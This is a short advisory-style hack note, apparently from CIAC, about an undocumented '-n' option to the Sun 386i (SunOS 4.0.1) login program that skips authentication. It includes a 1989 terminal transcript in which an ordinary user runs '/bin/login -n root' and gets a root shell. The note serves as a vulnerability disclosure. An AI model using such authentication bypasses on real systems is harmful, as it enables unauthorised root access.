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   HACK: Use the -n argument of "login" to gain a root shell
 System: Sun 386i, Sun OS 4.0.1
 Source: CIAC 
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The login program supplied by Sun for its 386i machines, version of Sun 
OS (SOS), accepts the argument "-n" which bypasses authentication.  It was
apparently added in order to allow the Sun program "logintool" to do the
authentication and have login do the housekeeping.  This allows a user who
discovers the new argument to the login program to become a root user in 
several ways.  An example of one method is attached. 

Example of login endrun:
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Script started on Tue Apr 11 14:16:25 1989
myhost[1] whoami
oconnor
myhost[2] /bin/login -n root
Login incorrect
login: onceuponatime
No home directory specified in password file!  Logging in with home=/
# whoami
root
# who a i
myhost!onceupon ttyp2   Apr 11 14:17
# ^D myhost1[3] ^D
script done on Tue Apr 11 14:17:34 1989